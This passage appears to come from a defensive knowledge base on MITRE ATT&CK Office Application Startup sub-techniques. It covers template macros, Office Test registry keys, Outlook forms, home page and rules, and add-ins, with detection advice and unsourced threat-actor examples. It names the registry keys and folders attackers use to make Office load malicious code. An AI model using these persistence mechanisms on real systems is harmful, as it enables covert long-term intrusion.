  * Macros executed payload downloads and established persistent backdoors on compromised systems.
* **FIN7 Attack Group:**
  * Distributed malicious Word and Excel documents containing macros via phishing emails targeting financial institutions.
  * Macros executed PowerShell scripts, establishing persistent access and exfiltrating sensitive financial data.
* **Emotet Malware:**
  * Delivered via malicious Office documents containing macros through widespread phishing campaigns.
  * Macros executed PowerShell commands to download additional malware payloads, enabling persistence and lateral movement.
* **TrickBot Malware:**
  * Leveraged malicious Excel documents containing macros to execute payloads upon document opening.
  * Established persistent footholds, enabling credential theft, lateral movement, and ransomware deployment.

In these examples, attackers leveraged Office Application Startup techniques through macros, add-ins, and registry manipulations, resulting in significant operational impacts, data breaches, and financial losses.


# Office Template Macros

Office Template Macros \[T1137.001]

## Information

* Name: Office Template Macros
* ID: T1137.001
* Tactics: [TA0003](/mitre/mitre/ta0003)
* Technique: [T1137](/mitre/mitre/ta0003/t1137)

## Introduction

Office Template Macros (T1137.001) is a sub-technique within the MITRE ATT\&CK framework under the broader category of Office Application Startup (T1137). It involves adversaries leveraging Microsoft Office template files (.dotm, .dotx, .xltm, .potm) containing malicious macros to execute unauthorized commands or payloads. These macros are typically embedded within legitimate-looking templates, automatically executing when users create or open documents based on these templates. This sub-technique exploits the trust relationship users have with Office documents and the automatic macro execution feature, making it a popular and effective vector for initial access, persistence, or lateral movement.

## Deep Dive Into Technique

Office Template Macros exploit Microsoft Office's built-in template functionality, specifically targeting macro-enabled template files (.dotm, .xltm, .potm). These templates can be stored locally or remotely, and Office applications automatically load and execute macros from templates upon opening new documents or presentations based on these templates.

Technical execution details include:

* **Template Storage Locations:**
  * Default user template directories (e.g., `%APPDATA%\Microsoft\Templates\`)
  * Shared template locations on network drives or SharePoint sites
  * Remote URLs specified in documents to fetch templates dynamically
* **Macro Execution Mechanism:**
  * Macros embedded in templates execute automatically upon user interaction (e.g., creating or opening a document based on the malicious template).
  * Adversaries can leverage VBA (Visual Basic for Applications) scripts embedded in templates to perform malicious actions, including:
    * Downloading additional payloads
    * Establishing command-and-control (C2) channels
    * Executing PowerShell or command-line scripts
    * Modifying registry keys for persistence
* **Delivery Methods:**
  * Phishing emails containing documents referencing malicious templates
  * Compromised legitimate websites hosting malicious templates
  * Internal lateral movement by placing malicious templates in shared directories or network locations
* **Obfuscation Techniques:**
  * Encoding or encrypting macros to bypass signature-based antivirus detection
  * Utilizing VBA obfuscation tools to hide macro functionality and evade static analysis
  * Embedding macros within legitimate-looking templates to reduce suspicion

## When this Technique is Usually Used

Office Template Macros frequently appear across multiple stages of the attack lifecycle, including:

* **Initial Access:**
  * Attackers commonly deliver malicious templates via phishing campaigns to gain initial footholds in victim environments.
  * Users unknowingly execute malicious macros when opening seemingly legitimate Office documents.
* **Execution:**
  * Malicious macros execute automatically, enabling attackers to run arbitrary code without explicit user consent beyond initial template loading.
* **Persistence:**
  * Attackers store malicious templates in default template directories or shared network locations, ensuring repeated execution whenever users create new documents based on these templates.
* **Lateral Movement:**
  * Attackers may place malicious templates in shared directories accessible by multiple users, enabling lateral movement across an organization's network.
* **Defense Evasion:**
  * Obfuscated macros and legitimate-looking templates evade traditional antivirus and endpoint detection solutions, enabling attackers to maintain undetected presence.

## How this Technique is Usually Detected

Detection of Office Template Macros involves a combination of endpoint monitoring, network analysis, and behavioral analytics:

* **Endpoint Detection:**
  * Monitor Office applications for suspicious macro execution, especially from unusual template locations.
  * Implement endpoint detection and response (EDR) solutions that flag macros performing suspicious behaviors, such as downloading external payloads or executing PowerShell commands.
  * Monitor file system changes in Office template directories (`%APPDATA%\Microsoft\Templates\`, `%ProgramFiles%\Microsoft Office\Templates\`) for unauthorized template modifications or creations.
* **Network Detection:**
  * Identify network traffic originating from Office processes (e.g., WINWORD.EXE, EXCEL.EXE, POWERPNT.EXE) connecting to external or unusual IP addresses or URLs.
  * Inspect HTTP(S) traffic for known malicious template file downloads (e.g., `.dotm`, `.xltm`, `.potm`).
* **Behavioral Analytics:**
  * Employ Security Information and Event Management (SIEM) solutions to correlate macro execution events with suspicious activities, such as process spawning, script execution, or registry modifications.
  * Detect unusual user behaviors, such as creating documents from rarely-used templates or accessing templates stored in uncommon network locations.
* **Indicators of Compromise (IoCs):**
  * Presence of suspicious template files (.dotm, .xltm, .potm) in user or shared directories.
  * Unusual outbound network connections initiated by Office processes.
  * Registry entries modified by macros for persistence or execution (e.g., Run keys, Scheduled Tasks).
  * Macro code patterns commonly associated with obfuscation or downloading external payloads.

## Why it is Important to Detect This Technique

Early detection of Office Template Macros is critical due to their potential severe impact on organizations:

* **Initial Access & Compromise:**
  * Malicious macros provide attackers with an easy entry point into corporate networks, potentially leading to widespread compromise.
  * Early detection can prevent initial footholds, significantly reducing the risk of further exploitation.
* **Persistence & Long-term Access:**
  * Template macros can establish persistent backdoors, allowing attackers continued access even after initial compromise remediation.
  * Detecting and removing malicious templates early avoids prolonged attacker presence and reduces remediation costs.
* **Data Exfiltration & Espionage:**
  * Malicious macros can facilitate data theft by downloading and executing additional payloads designed to exfiltrate sensitive data.
  * Early detection prevents the unauthorized transfer of sensitive corporate or personal data.
* **Ransomware & Malware Deployment:**
  * Attackers often use macro-enabled templates to deploy ransomware or other destructive malware, causing operational disruptions and financial losses.
  * Timely detection minimizes damage, reduces operational downtime, and decreases recovery expenses.
* **Compliance & Regulatory Risks:**
  * Undetected malicious macros can lead to data breaches, resulting in regulatory fines, reputational damage, and loss of customer trust.
  * Preventative detection safeguards an organization's compliance posture and brand reputation.

## Examples

Real-world incidents and attack scenarios involving Office Template Macros include:

* **Emotet Malware Campaigns:**
  * Attackers utilized malicious Word templates (.dotm) delivered via phishing emails.
  * Upon opening, macros executed PowerShell scripts to download Emotet payloads, leading to further infections like TrickBot and Ryuk ransomware.
  * Impact included significant financial losses, operational downtime, and sensitive data exfiltration.
* **APT32 (OceanLotus) Attacks:**
  * APT32 leveraged malicious Excel template files (.xltm) hosted on compromised websites and internal networks.
  * Macros executed scripts to establish persistence, conduct espionage activities, and exfiltrate sensitive corporate and government data.
  * Victims included government agencies, multinational corporations, and critical infrastructure sectors.
* **TA551 (Shathak) Threat Actor:**
  * Utilized malicious PowerPoint templates (.potm) distributed via targeted phishing campaigns.
  * Macros executed embedded scripts to download and install malware payloads, enabling attackers to gain persistent access and lateral movement capabilities within victim networks.
  * Resulted in unauthorized access, data theft, and potential deployment of ransomware.
* **FIN7 Group Attacks:**
  * FIN7 leveraged macro-enabled templates to infiltrate retail, hospitality, and financial services organizations.
  * Malicious macros executed scripts to download payloads, establish backdoors, and exfiltrate payment card data.
  * Impact included significant financial fraud, regulatory penalties, and reputational damage.

These examples highlight the versatility, effectiveness, and serious consequences associated with Office Template Macros, underscoring the importance of robust detection and mitigation strategies.


# Office Test

Office Test \[T1137.002]

## Information

* Name: Office Test
* ID: T1137.002
* Tactics: [TA0003](/mitre/mitre/ta0003)
* Technique: [T1137](/mitre/mitre/ta0003/t1137)

## Introduction

The MITRE ATT\&CK sub-technique "Office Test" (T1137.002) falls under the broader category of "Office Application Startup." This sub-technique specifically involves adversaries exploiting Microsoft Office's built-in testing mechanisms to execute malicious payloads. Attackers leverage Office Test registry keys, which are typically intended for debugging or testing purposes, to automatically launch malicious code whenever Office applications start. This method enables persistence and stealthy execution within victim environments, making detection challenging.

## Deep Dive Into Technique

Adversaries exploit the Office Test sub-technique by manipulating specific registry keys designed for internal testing and debugging purposes within Microsoft Office applications. These registry keys are typically located under:

* `HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf`
* `HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf\Excel`
* `HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf\Word`

When configured, these registry keys can point to malicious DLL files. Upon startup, Office applications such as Word, Excel, or PowerPoint automatically load and execute the referenced DLL, thus enabling attackers to run arbitrary code persistently and covertly.

Key technical details include:

* Requires modification of registry keys to point to attacker-controlled DLL files.
* DLL payloads typically executed in the context of the current user.
* Often employed through initial access vectors such as phishing emails, malicious macros, or compromised software installers.
* Does not require administrative privileges if registry keys are modified within `HKEY_CURRENT_USER` scope.
* Difficult to detect without specialized monitoring, as these keys are rarely audited or reviewed during routine security checks.

## When this Technique is Usually Used

Attackers commonly leverage the Office Test sub-technique in the following scenarios and stages of an attack:

* **Persistence Stage:**\
  Attackers frequently use this sub-technique to ensure their malicious payload executes each time a user opens an Office application, thus maintaining long-term persistence.
* **Privilege Escalation and Lateral Movement:**\
  While it primarily serves persistence, attackers may also use this technique after initial compromise to facilitate lateral movement or privilege escalation by loading payloads that interact with other systems or escalate privileges.
* **Stealth and Evasion:**\
  Due to the uncommon usage and lack of monitoring of Office Test registry keys, attackers exploit this sub-technique to evade detection mechanisms that typically monitor more common persistence methods.
* **Targeted Attacks and Espionage Campaigns:**\
  Sophisticated threat actors often use this technique in targeted attacks and espionage campaigns where stealth and persistence are critical.

## How this Technique is Usually Detected

Detecting this sub-technique typically involves monitoring and auditing registry modifications and DLL loading behaviors. Effective detection methods include:

* **Registry Monitoring:**
  * Monitor creation or modification of registry keys under:
    * `HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf`
    * `HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf\Excel`
    * `HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf\Word`
  * Use endpoint detection and response (EDR) tools or SIEM solutions to alert on suspicious registry key modifications.
* **DLL Load Monitoring:**
  * Employ application whitelisting or DLL monitoring tools to detect unexpected DLL loading by Office applications.
  * Monitor Office application processes (Word.exe, Excel.exe, PowerPoint.exe) for loading DLLs from unusual or temporary file locations.
* **Behavioral Analysis:**
  * Implement behavioral detection rules in EDR tools to identify anomalous behavior associated with Office startup, especially unexpected DLL loads or unusual process spawning.
* **Indicators of Compromise (IoCs):**
  * Suspicious registry values pointing to DLL files in temporary directories or user-specific folders.
  * Unusual DLL file names or paths loaded by Office applications.
  * Correlation of registry key modifications with known malicious activity timestamps.

## Why it is Important to Detect This Technique

Early detection of the Office Test sub-technique is crucial due to its potential impacts and stealthy nature. Key reasons include:

* **Persistent Access:**\
  Attackers can maintain long-term persistence through automatic execution upon Office application startup, allowing ongoing compromise and data exfiltration.
* **Stealthy Execution:**\
  The technique is rarely monitored, enabling attackers to remain undetected for extended periods, increasing the risk of extensive damage.
* **Privilege Escalation and Lateral Movement:**\
  Persistent access can facilitate further attacks, including privilege escalation, lateral movement, and execution of additional malicious payloads.
* **Data Exfiltration and Espionage:**\
  Attackers leveraging this technique often target sensitive information, intellectual property, or confidential communications, posing significant risks to organizational security.
* **Reputation and Compliance Risks:**\
  Undetected persistent threats can lead to severe consequences, including data breaches, regulatory violations, financial losses, and reputational damage.

## Examples

Real-world examples of adversaries employing this sub-technique include:

* **APT32 (Ocean Lotus):**
  * Known to leverage Office Test registry keys to persistently execute malicious payloads.
  * Typically uses spear-phishing emails to initially infect targets, followed by registry key manipulation to maintain long-term access.
  * Payloads often include custom DLLs designed for espionage and data exfiltration.
* **FIN7 Cybercrime Group:**
  * Has employed Office Test registry keys to persistently load malicious DLLs as part of their broader attack campaigns targeting financial and retail sectors.
  * Often combines this persistence method with other tactics such as credential harvesting, privilege escalation, and lateral movement.
* **Targeted Espionage Campaigns:**
  * Several documented espionage campaigns targeting government, defense, and critical infrastructure sectors have utilized Office Test registry keys to maintain stealthy and persistent access.
  * Attackers typically place malicious DLLs in user directories or temporary folders, making detection challenging.

Typical attack scenario:

1. Victim receives a phishing email with a malicious Office document or macro-enabled attachment.
2. Upon execution, the document or macro modifies Office Test registry keys to reference a malicious DLL.
3. The malicious DLL is subsequently loaded each time the victim opens Word or Excel, enabling persistent and covert access.
4. Attackers leverage this persistent access to conduct espionage, data exfiltration, lateral movement, or deployment of additional malware.

Understanding these examples underscores the critical importance of monitoring and detecting this specific sub-technique to protect organizational assets and sensitive information.


# Outlook Forms

Outlook Forms \[T1137.003]

## Information

* Name: Outlook Forms
* ID: T1137.003
* Tactics: [TA0003](/mitre/mitre/ta0003)
* Technique: [T1137](/mitre/mitre/ta0003/t1137)

## Introduction

Outlook Forms (MITRE ATT\&CK ID: T1137.003) is a sub-technique within the MITRE ATT\&CK framework under the parent technique "Office Application Startup." This technique involves adversaries abusing Microsoft Outlook forms, which are customizable templates used to display, input, and manage information. Attackers can leverage custom Outlook forms containing malicious scripts or code to execute arbitrary commands, achieve persistence, and compromise targeted systems. Outlook Forms provide a stealthy method of persistence and execution, as they blend into normal user workflows and can evade standard detection mechanisms.

## Deep Dive Into Technique

Outlook Forms are customizable interfaces within Microsoft Outlook that allow users to define how information is presented and interacted with. These forms support scripting capabilities, typically via VBScript, enabling adversaries to execute arbitrary commands or scripts when the form is loaded or interacted with.

Technical details and execution methods include:

* **Form Customization and Creation:**
  * Attackers create or modify Outlook forms (.oft files) to include malicious scripts.
  * Forms can be embedded directly within emails or stored locally within Outlook folders.
  * Malicious scripts embedded into forms are typically written in VBScript, providing attackers with powerful scripting capabilities.
* **Delivery and Execution:**
  * Malicious Outlook forms can be delivered via phishing emails or placed directly into the user's Outlook mailbox by an attacker with prior access.
  * When the user opens or interacts with a malicious form, embedded scripts execute automatically.
  * Scripts may execute commands, download payloads, or establish persistence by modifying Outlook configuration or registry settings.
* **Persistence Mechanisms:**
  * Outlook forms can be installed into user mailboxes, folders, or organizational forms libraries, ensuring persistence across Outlook restarts.
  * Forms stored in the user’s mailbox or public folders remain persistent and execute scripts upon user interaction or Outlook startup.
  * Attackers may leverage registry keys such as `HKCU\Software\Microsoft\Office\[version]\Outlook\Forms` to register malicious forms for persistence.
* **Obfuscation and Evasion:**
  * Malicious scripts embedded in Outlook forms may be obfuscated to evade detection by antivirus and endpoint protection solutions.
  * Outlook forms blend well with legitimate workflows, reducing suspicion and increasing the likelihood of successful execution.

## When this Technique is Usually Used

This sub-technique typically appears in various attack scenarios and stages, such as:

* **Initial Access:**
  * Attackers may deliver malicious Outlook forms through phishing campaigns, tricking users into opening forms embedded in email attachments or links.
* **Persistence:**
  * Outlook forms serve as a stealthy persistence mechanism, ensuring attackers maintain access to compromised environments even after system reboots or user logoffs.
* **Execution:**
  * Attackers leverage embedded scripts within Outlook forms to execute arbitrary commands, download additional payloads, or perform reconnaissance activities.
* **Credential Harvesting and Information Theft:**
  * Malicious scripts within Outlook forms may collect sensitive information, credentials, or emails and exfiltrate data to attacker-controlled servers.
* **Lateral Movement and Privilege Escalation:**
  * Once initial access is gained, attackers may use Outlook forms to execute scripts that facilitate lateral movement or privilege escalation within the compromised environment.

## How this Technique is Usually Detected

Detection methods, tools, and Indicators of Compromise (IoCs) include:

* **Monitoring Outlook Form Registrations:**
  * Regularly auditing Outlook form installations and registrations stored in registry keys (`HKCU\Software\Microsoft\Office\[version]\Outlook\Forms`) or within Outlook folders and organizational forms libraries.
* **Endpoint Detection and Response (EDR) Tools:**
  * Using EDR solutions to detect unusual scripting activities originating from Outlook processes (e.g., `OUTLOOK.EXE`) or suspicious VBScript execution.
* **Behavioral Analysis:**
  * Monitoring Outlook processes for abnormal behaviors, including unexpected script execution, network connections, file downloads, or modifications to system configurations.
* **Email Gateway and Content Filtering Solutions:**
  * Implementing email security gateways capable of inspecting and blocking malicious Outlook form attachments (.oft files) or emails containing embedded forms with suspicious scripts.
* **Registry and File System Auditing:**
  * Monitoring registry and file system changes related to Outlook forms, including unauthorized form installations or modifications.
* **Specific Indicators of Compromise (IoCs):**
  * Presence of unknown or suspicious `.oft` files within user mailboxes or Outlook folders.
  * Unusual registry entries related to Outlook form registration.
  * Suspicious outbound network connections initiated by Outlook processes.
  * Detection of obfuscated VBScript or PowerShell scripts embedded within Outlook form files.

## Why it is Important to Detect This Technique

Detecting the usage of malicious Outlook Forms is crucial due to the following potential impacts on systems and networks:

* **Persistence and Long-term Compromise:**
  * Attackers can leverage Outlook forms as a persistent foothold, maintaining access to compromised systems over prolonged periods, even after reboots or user logoffs.
* **Stealth and Evasion:**
  * Outlook forms blend seamlessly with legitimate workflows, making detection challenging and enabling attackers to evade traditional antivirus and security mechanisms.
* **Data Exfiltration and Information Theft:**
  * Malicious scripts embedded within Outlook forms can silently harvest sensitive emails, credentials, and confidential information, leading to data breaches and compliance violations.
* **Execution of Malicious Payloads:**
  * Outlook forms may execute arbitrary commands or scripts, potentially downloading and executing secondary payloads, ransomware, or remote access tools (RATs).
* **Facilitation of Further Attacks:**
  * Once established, attackers may leverage compromised Outlook forms to conduct lateral movement, privilege escalation, and network reconnaissance, significantly increasing the scope and severity of an incident.

Early detection of malicious Outlook forms is critical to minimize these risks, prevent prolonged compromises, and reduce potential damage to organizational assets and reputation.

## Examples

Real-world examples demonstrating the use and impact of malicious Outlook Forms include:

* **APT32 (OceanLotus) Campaign:**
  * Attackers leveraged custom Outlook forms embedded in phishing emails containing malicious VBScript code.
  * Upon opening, the forms executed scripts to download and execute additional malware payloads, enabling persistent access and data exfiltration from targeted organizations.
* **FIN7 Group Attacks:**
  * FIN7 utilized customized Outlook forms containing embedded scripts to gather credentials and sensitive information from targeted corporate mailboxes.
  * Malicious scripts executed upon user interaction, silently exfiltrating data to attacker-controlled infrastructure, enabling further compromise and financial fraud.
* **Phishing Campaigns Targeting Financial Institutions:**
  * Attackers distributed phishing emails containing malicious Outlook forms designed to execute scripts upon opening.
  * Scripts collected sensitive banking credentials and financial information, leading to significant financial losses and operational disruptions.
* **Targeted Espionage Operations:**
  * Nation-state actors have reportedly used customized Outlook forms embedded with scripts to silently gather sensitive intelligence information from government agencies and defense contractors.
  * Forms executed scripts upon user interaction, exfiltrating sensitive emails and documents to attacker-controlled servers.

These examples illustrate the significant threat posed by malicious Outlook Forms, highlighting the importance of robust detection, prevention, and response capabilities to mitigate associated risks.


# Outlook Home Page

Outlook Home Page \[T1137.004]

## Information

* Name: Outlook Home Page
* ID: T1137.004
* Tactics: [TA0003](/mitre/mitre/ta0003)
* Technique: [T1137](/mitre/mitre/ta0003/t1137)

## Introduction

Outlook Home Page (T1137.004) is a sub-technique of the MITRE ATT\&CK framework under the parent technique Office Application Startup (T1137). This method involves adversaries leveraging Microsoft Outlook's Home Page feature to achieve persistence and execute malicious payloads. By configuring Outlook to load a malicious URL or file upon startup, attackers can silently execute code, maintain persistence, and potentially escalate privileges within compromised environments.

## Deep Dive Into Technique

The Outlook Home Page feature allows users to set a web page or URL to load automatically when Outlook starts or when a particular folder is accessed. Attackers exploit this feature by configuring a malicious URL or local file path that points to attacker-controlled content. This malicious content can then execute scripts or code within the context of Outlook, potentially bypassing security controls.

Technical details and execution methods include:

* **Registry Manipulation:** Attackers typically modify registry keys associated with Outlook folders to set a malicious Home Page URL:
  * Registry path example:

    ```
    HKEY_CURRENT_USER\Software\Microsoft\Office\<version>\Outlook\Today\UserDefinedUrl
    HKEY_CURRENT_USER\Software\Microsoft\Office\<version>\Outlook\Today\Url
    ```
  * These keys specify the URL or file Outlook loads upon startup or folder selection.
* **Malicious Payload Delivery:** The malicious URL may host scripts (JavaScript, VBScript) or embedded ActiveX controls that execute malware on the victim's system.
* **Use of Local Resources:** Attackers can point the Home Page URL to local files (e.g., HTML files with embedded scripts), minimizing network detection and avoiding external requests.
* **Persistence Mechanism:** Once configured, the malicious Home Page loads automatically each time Outlook starts or the user accesses the specified folder, providing persistent execution of malicious payloads.
* **Privilege Escalation Potential:** Execution within Outlook's context may allow attackers to leverage user privileges, gather sensitive information, or pivot to additional systems within the network.

## When this Technique is Usually Used

Attackers typically employ the Outlook Home Page sub-technique during the following attack scenarios and stages:

* **Persistence Stage:** To maintain persistent access after initial compromise, attackers configure the Outlook Home Page to execute malicious code each time Outlook launches.
* **Reconnaissance and Credential Harvesting:** Malicious scripts executed through Outlook Home Pages may collect user credentials, emails, contacts, or sensitive information, facilitating further attacks.
* **Internal Pivoting and Lateral Movement:** Attackers may use this technique within an enterprise environment to move laterally or escalate privileges by leveraging trusted Outlook processes.
* **Stealthy Malware Distribution:** By embedding malicious content within legitimate applications (Outlook), attackers can bypass common endpoint security measures and evade detection.
* **Targeted Attacks and Spear-Phishing Campaigns:** Often observed in targeted attacks, where adversaries have initial access and seek stealthy persistence mechanisms.

## How this Technique is Usually Detected

Detection of the Outlook Home Page sub-technique can be achieved through various monitoring strategies, tools, and indicators of compromise (IoCs):

* **Registry Monitoring:**
  * Monitor modifications to Outlook-related registry keys, especially:

    ```
    HKEY_CURRENT_USER\Software\Microsoft\Office\<version>\Outlook\Today\UserDefinedUrl
    HKEY_CURRENT_USER\Software\Microsoft\Office\<version>\Outlook\Today\Url
    ```
  * Alert on unexpected URL or file path changes to these keys.
* **Endpoint Detection and Response (EDR) tools:**
  * EDR solutions can detect suspicious Outlook process behaviors, such as launching scripts or spawning unusual child processes.
* **Network Monitoring:**
  * Monitor outbound HTTP/HTTPS traffic originating from Outlook processes to unexpected or unknown domains.
  * Identify anomalous patterns or repeated requests to suspicious URLs.
* **File System Monitoring:**
  * Track creation or modification of local HTML or script files referenced by Outlook Home Page configurations.
* **Behavioral Analytics and SIEM Solutions:**
  * Correlate events involving Outlook processes executing scripts or accessing unusual URLs.
  * Alert on abnormal user behavior patterns or unexpected Outlook startup behaviors.

Indicators of compromise (IoCs) include:

* Suspicious URLs or file paths configured in Outlook registry keys.
* Unusual outbound network connections initiated by Outlook.exe.
* Unexpected scripts or HTML files stored locally and referenced by Outlook.

## Why it is Important to Detect This Technique

Early detection of the Outlook Home Page sub-technique is critical due to the following potential impacts on systems and networks:

* **Persistent Access:** Attackers can reliably maintain persistent execution within legitimate Outlook processes, complicating remediation efforts.
* **Credential Theft and Data Exfiltration:** Malicious scripts executed via Outlook may harvest sensitive information, credentials, emails, or contacts, leading to data breaches or further exploitation.
* **Privilege Escalation and Lateral Movement:** Execution within user context and trusted applications allows adversaries to escalate privileges or pivot internally, significantly increasing the scope and impact of attacks.
* **Stealth and Evasion:** Exploiting legitimate application features (Outlook Home Page) allows attackers to evade traditional antivirus or endpoint security controls, prolonging the attacker’s dwell time.
* **Reputational and Operational Impact:** Compromise of email clients and related data can significantly disrupt organizational communication, operations, and reputation.

Proactive detection and response minimize the attacker’s dwell time, reduce potential data loss, and mitigate broader network compromise.

## Examples

Real-world examples demonstrating the use of Outlook Home Page sub-technique include:

* **APT33 (Elfin):**
  * This Iranian threat actor has leveraged Outlook Home Page persistence to maintain long-term access to compromised networks.
  * Attackers modified Outlook registry keys to reference malicious HTML pages containing JavaScript payloads, enabling persistent execution and credential theft.
  * Impact included prolonged espionage operations, credential harvesting, and lateral movement within victim organizations.
* **Operation Sharpshooter:**
  * This cyber-espionage campaign utilized Outlook Home Page persistence to execute malicious scripts embedded in HTML pages hosted locally or remotely.
  * Attackers maintained stealthy persistence, executed reconnaissance, and exfiltrated sensitive data from targeted organizations.
* **FIN7 Cybercrime Group:**
  * FIN7 has been observed using Outlook Home Page persistence to deliver malicious payloads and maintain persistent access within compromised financial institutions.
  * Leveraged malicious HTML pages to execute JavaScript payloads, download additional malware, and exfiltrate sensitive financial data.

In each scenario, attackers leveraged Outlook's legitimate functionality to achieve stealthy, persistent, and impactful compromise, highlighting the importance of robust detection and mitigation strategies.


# Outlook Rules

Outlook Rules \[T1137.005]

## Information

* Name: Outlook Rules
* ID: T1137.005
* Tactics: [TA0003](/mitre/mitre/ta0003)
* Technique: [T1137](/mitre/mitre/ta0003/t1137)

## Introduction

Outlook Rules \[T1137.005] is a sub-technique within the MITRE ATT\&CK framework under the "Office Application Startup" technique (T1137). Attackers leverage Microsoft Outlook rules to achieve persistence and maintain access to compromised environments. Outlook rules, typically used to automate email organization and management tasks, can be maliciously configured to execute arbitrary commands, scripts, or launch malicious payloads upon receiving specific email triggers or conditions.

## Deep Dive Into Technique

Attackers exploit Outlook's built-in rules feature, which allows users to automate email handling based on specific criteria (sender, subject, keywords, attachments). By creating or modifying Outlook rules, adversaries can trigger malicious actions such as:

* Launching malicious scripts or executables when emails with specific attributes are received.
* Forwarding sensitive or confidential emails automatically to attacker-controlled email addresses.
* Automatically deleting or hiding suspicious emails to evade detection and incident response measures.
* Executing PowerShell or command-line scripts embedded within Outlook rules to download secondary payloads or establish command-and-control (C2) channels.

Technical mechanisms include:

* Outlook rule actions such as "run a script," "start application," or "forward email" that can be configured maliciously.
* Manipulation of rules stored within the user's mailbox (Exchange Server) or local Outlook client (PST/OST files).
* Utilizing Outlook COM objects or scripting interfaces to automate rule creation silently.

Real-world procedures attackers use:

* Phishing emails containing malicious attachments or links designed to execute scripts that create Outlook rules upon execution.
* Compromised user credentials leveraged to remotely configure Outlook rules via Exchange Web Services (EWS) or Outlook Web Access (OWA).
* Malicious VBA macros embedded in Office documents, which, when opened, automatically create persistent Outlook rules.

## When this Technique is Usually Used

Attack scenarios and stages where Outlook Rules \[T1137.005] commonly appear include:

* **Persistence Stage**:
  * Attackers establish long-term persistence by creating Outlook rules that trigger upon receiving specific emails or conditions, allowing continuous access or command execution.
  * Outlook rules persist even after system reboots, making them reliable persistence mechanisms.
* **Data Exfiltration Stage**:
  * Automatically forwarding emails containing sensitive information or credentials to attacker-controlled email addresses.
  * Triggering scripts or commands to silently export and exfiltrate mailbox contents.
* **Defense Evasion Stage**:
  * Rules configured to automatically delete or move emails containing security alerts or suspicious activity notifications, preventing detection by security teams.
  * Email filtering rules that hide attacker-related communications or activity.
* **Command and Control Stage**:
  * Using Outlook rules to trigger commands or scripts upon receiving specially crafted emails, enabling attackers to remotely control compromised systems without direct network connections.

## How this Technique is Usually Detected

Detection methods, tools, and indicators of compromise (IoCs) include:

* **Monitoring Outlook Rule Creation and Modification**:
  * Using Endpoint Detection and Response (EDR) tools to detect unusual Outlook rule creations or modifications.
  * Checking Exchange Server or Office 365 audit logs for suspicious rule-related events.
* **Analyzing Outlook Rule Conditions and Actions**:
  * Regularly reviewing Outlook rules for suspicious conditions (e.g., specific keywords, external senders) and actions (e.g., launching scripts, forwarding emails externally).
  * Utilizing scripts or automated tools like PowerShell scripts or Exchange Management Shell commands to periodically audit Outlook rules across the organization.
* **Endpoint and Network Indicators**:
  * Suspicious scripts or executables triggered by Outlook processes.
  * Unusual network traffic or connections initiated by Outlook processes to external IP addresses or domains.
  * Unexpected email forwarding patterns to external domains or unknown addresses.
* **Behavioral Analytics and SIEM Integration**:
  * Integrating Outlook and Exchange logs into Security Information and Event Management (SIEM) systems to identify anomalies or suspicious rule-related activities.
  * Alerting on unusual email activity patterns, such as automated forwarding to external domains or repeated script executions triggered by email events.

## Why it is Important to Detect This Technique

Detecting malicious Outlook rules early is critical due to the following impacts on systems and networks:

* **Data Exfiltration and Loss**:
  * Malicious rules can automatically forward sensitive emails, intellectual property, or confidential data externally, leading to significant data breaches.
* **Long-Term Persistence and Stealth**:
  * Outlook rules can remain unnoticed for extended periods, providing attackers persistent and stealthy access to compromised environments.
  * Attackers can continuously execute commands, scripts, or payloads, maintaining a foothold even after initial infection vectors are remediated.
* **Defense Evasion and Reduced Visibility**:
  * Rules configured to automatically delete or hide security alerts, incident notifications, or suspicious emails impede incident response and forensic investigations.
  * Attackers gain the ability to conceal their activities and evade detection, prolonging compromise duration.
* **Potential for Lateral Movement and Escalation**:
  * Attackers leveraging Outlook rules may use compromised email accounts to spread malicious payloads internally or entice other users into providing credentials or opening malicious attachments.
  * Automated email-based attacks facilitated by Outlook rules can accelerate lateral movement and increase overall organizational risk.

Early detection and response significantly reduce the potential damage, limit attacker persistence, and enhance overall organizational security posture.

## Examples

Real-world examples demonstrating the use of Outlook Rules \[T1137.005]:

* **APT33 (Elfin)**:
  * Iranian threat group APT33 leveraged malicious Outlook rules to maintain persistence within targeted organizations.
  * Malicious rules were configured to automatically launch PowerShell scripts embedded within emails received from attacker-controlled email addresses, enabling persistent command-and-control channels.
* **Operation Cobalt Kitty**:
  * Attackers utilized malicious Outlook rules to automatically forward sensitive emails containing confidential information and credentials to external attacker-controlled mailboxes.
  * Rules were also configured to delete forwarded emails to conceal data exfiltration activities from targeted users.
* **FIN7 Cybercrime Group**:
  * FIN7 actors delivered malicious documents containing macros that, once executed, created Outlook rules designed to automatically launch additional malware payloads upon receiving specifically crafted emails.
  * This allowed FIN7 to maintain persistent and stealthy access within compromised environments, facilitating further exploitation and financial fraud.
* **Phishing Campaigns and Business Email Compromise (BEC)**:
  * Attackers frequently use compromised email accounts to create Outlook rules that automatically forward sensitive business communications or invoices to attacker-controlled external addresses.
  * Rules may also delete or archive forwarded emails to evade detection, enabling attackers to intercept critical business communications and facilitate financial fraud.

In these scenarios, attackers typically leverage combinations of phishing, social engineering, and malware delivery methods to establish malicious Outlook rules, enabling persistent access, stealthy data exfiltration, and ongoing compromise of targeted organizations.


# Add-ins

Add-ins \[T1137.006]

## Information

* Name: Add-ins
* ID: T1137.006
* Tactics: [TA0003](/mitre/mitre/ta0003)
* Technique: [T1137](/mitre/mitre/ta0003/t1137)

## Introduction

The MITRE ATT\&CK sub-technique **T1137.006 - Add-ins** refers to adversaries leveraging application add-ins or plugins to achieve persistence, privilege escalation, or execution within compromised systems. Add-ins typically extend the functionality of legitimate software such as Microsoft Office products, email clients, or web browsers, making them appealing vectors for attackers seeking stealth and persistence. By exploiting these trusted extensions, adversaries can seamlessly integrate malicious payloads, making detection and removal challenging.

## Deep Dive Into Technique

Attackers exploit add-ins (also known as plugins or extensions) that are designed to enhance or expand the functionality of host applications. These add-ins can be integrated into legitimate software applications such as:

* Microsoft Office Suite (Word, Excel, Outlook, PowerPoint)
* Web browsers (Chrome, Firefox, Edge)
* Email clients (Outlook, Thunderbird)

Common technical methods include:

* **Malicious Office Add-ins:**\
  Attackers may create malicious Office add-ins (.xll, .xla, .ppa, .dotm, .xlsm) that execute code automatically upon opening or interacting with a document or application. These malicious add-ins often leverage VBA macros, COM objects, or XLL files to execute arbitrary code.
* **Browser Extensions:**\
